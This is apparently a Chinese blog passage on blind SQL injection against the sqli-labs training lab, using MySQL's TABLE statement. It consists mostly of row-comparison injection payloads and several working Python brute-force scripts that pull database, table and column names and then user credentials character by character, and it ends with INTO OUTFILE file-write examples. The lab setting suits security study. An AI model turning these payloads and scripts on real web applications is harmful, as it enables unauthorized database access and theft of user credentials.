mysql> table users where id=1;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'where id=1' at line 1
mysql> select * from users where id=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
+----+----------+----------+
1 row in set (0.00 sec)
//判断第二个数据库名的第一个字母
1' and ('def','i',3,4,5,6)<=(table information_schema.schemata limit 1,1)--+
//有回显
1' and ('def','j',3,4,5,6)<=(table information_schema.schemata limit 1,1)--+
//无回显
后续依旧如此，不再演示，师傅们可自行测试
自制小脚本附上
#@Author:quan9i
import requests
url = "http://192.168.134.132/Less-1/?id="
flag=""
print("爆破数据库，请输入数据库序号，例如1,2,3:",end="")
x = int(input())-1
num = str(x)
for i in range(0,20):#数据库名的长度
for j in "`abcdefghijklmnopqrstuvwxyz-{|}~":
payload="1' and ('def','{}',3,4,5,6)>(table information_schema.schemata limit {},1)--+".format(flag+j,num)
print(flag+j)
response = requests.get(url=url+payload)
if"Your Login name" in response.text:
flag += chr(ord(j)-1)
break
a = chr(ord(flag[-1])+1)
print("数据库名为:"+flag[0:-1]+a)
#@Author:quan9i
import requests
url = "http://192.168.134.132/Less-1/?id="
print("爆破数据表，请输入数据表序号:",end="")#322-325
flag=""
x = int(input())
num = str(x)
for i in range(0, 20): #表名的长度
for j in "`abcdefghijklmnopqrstuvwxyz-{|}~":
payload = "1' and('def','security','{}',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)>(table information_schema.tables limit {},1)--+".format(flag+j,num)
#print(flag+j)
response = requests.get(url=url+payload)
if "Your Login name" in response.text:
flag += chr(ord(j)-1)
break
a = chr(ord(flag[-1])+1)
print("表名为:"+flag[0:-1]+a)
#@Author:quan9i
import requests
url = "http://192.168.134.132/Less-1/?id="
print("爆破数据列，请输入数据列序号:",end="")#3415
flag=""
x = int(input())
num = str(x)
for i in range(0, 10): #列名的长度
for j in "`abcdefghijklmnopqrstuvwxyz-{|}~":
payload = "1' and('def','security','users','{}',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)>(table information_schema.columns limit {},1)--+".format(flag+j,num)
#print(flag+j)
response = requests.get(url=url+payload)
if "Your Login name" in response.text:
flag += chr(ord(j)-1)
break
a = chr(ord(flag[-1])+1)
print("列名为:"+flag[0:-1]+a)
爆字段
字段数为3，构造payload如下
id=1' and (1,'D','')<=(table users limit 1) --+
//有回显
id=1' and (1,'e','')<=(table users limit 1) --+
//无回显
id=1' and (1,'Dumb','Dumb')<=(table users limit 1) --+
自制小脚本如下
#@Author:quan9i
import requests
url = "http://192.168.134.132/Less-1/?id="
print("爆破字段信息，请输入字段序号:",end="")
flag=""
x = int(input())
num = str(x-1)
for i in range(0, 10): #字段信息的长度
for j in "abcdefghijklmnopqrstuvwxyz-{|}~":
payload = "1' and ({},'{}','')>(table users limit {},1) --+".format(str(x),flag+j,num)
#print(flag+j)
response = requests.get(url=url+payload)
if "Your Login name" in response.text:
flag += chr(ord(j)-1)
break
a = chr(ord(flag[-1])+1)
b=flag[0:-1]+a
c=b.find('`')
print("字段"+str(x)+"为"+b[:c])
#@Author:quan9i
import requests
url = "http://192.168.134.132/Less-1/?id="
def sql_name():
print("爆破数据库，请输入数据库序号:",end="")
global database
database=""
x = int(input())-1
num = str(x)
for i in range(0,20):#数据库名的长度
for j in "`abcdefghijklmnopqrstuvwxyz-{|}~":
payload="1' and ('def','{}',3,4,5,6)>(table information_schema.schemata limit {},1)--+".format(database+j,num)
#print(database+j)
response = requests.get(url=url+payload)
if"Your Login name" in response.text:
database += chr(ord(j)-1)
break
a = chr(ord(database[-1])+1)
database=database[0:-1]+a
print("数据库名为:"+database)
def table_name(database):
print("爆破数据表，请输入数据表序号:",end="")#322-325
global table
table=""
x = int(input())
num = str(x)
for i in range(0, 10): #表名的长度
for j in "`abcdefghijklmnopqrstuvwxyz-{|}~":
payload = "1' and('def','{}','{}',4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)>(table information_schema.tables limit {},1)--+".format(database,table+j,num)
#print(table+j)
response = requests.get(url=url+payload)
if "Your Login name" in response.text:
table += chr(ord(j)-1)
break
a = chr(ord(table[-1])+1)
table = table[0:-1]+a
print("表名为:"+table)
def column_name(database,table):
print("爆破数据列，请输入数据列序号:",end="")#2432
global column
column=""
x = int(input())
num = str(x)
for i in range(0, 10): #列名的长度
for j in "`abcdefghijklmnopqrstuvwxyz-{|}~":
payload = "1' and('def','{}','{}','{}',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)>(table information_schema.columns limit {},1)--+".format(database,table,column+j,num)
#print(flag+j)
response = requests.get(url=url+payload)
if "Your Login name" in response.text:
column += chr(ord(j)-1)
break
a = chr(ord(column[-1])+1)
column = column[0:-1]+a
print("列名为:"+ column)
def information_name(table):
print("爆破字段信息，请输入字段序号:",end="")
flag=""
x = int(input())
num = str(x-1)
for i in range(0, 10): #字段信息的长度
for j in "abcdefghijklmnopqrstuvwxyz-{|}~":
payload = "1' and ({},'{}','')>(table {} limit {},1) --+".format(str(x),flag+j,table,num)
#print(flag+j)
response = requests.get(url=url+payload)
if "Your Login name" in response.text:
flag += chr(ord(j)-1)
break
a = chr(ord(flag[-1])+1)
b=flag[0:-1]+a
c=b.find('`')
print("字段"+str(x)+"为"+b[:c])
sql_name()
table_name(database)
column_name(database,table)
information_name(table)
mysql> use security;
Database changed
mysql> select * from users into dumpfile "d:/dumpfile.txt";
ERROR 1172 (42000): Result consisted of more than one row
mysql> select * from users into outfile "d:/outfile.txt";
Query OK, 13 rows affected (0.00 sec)
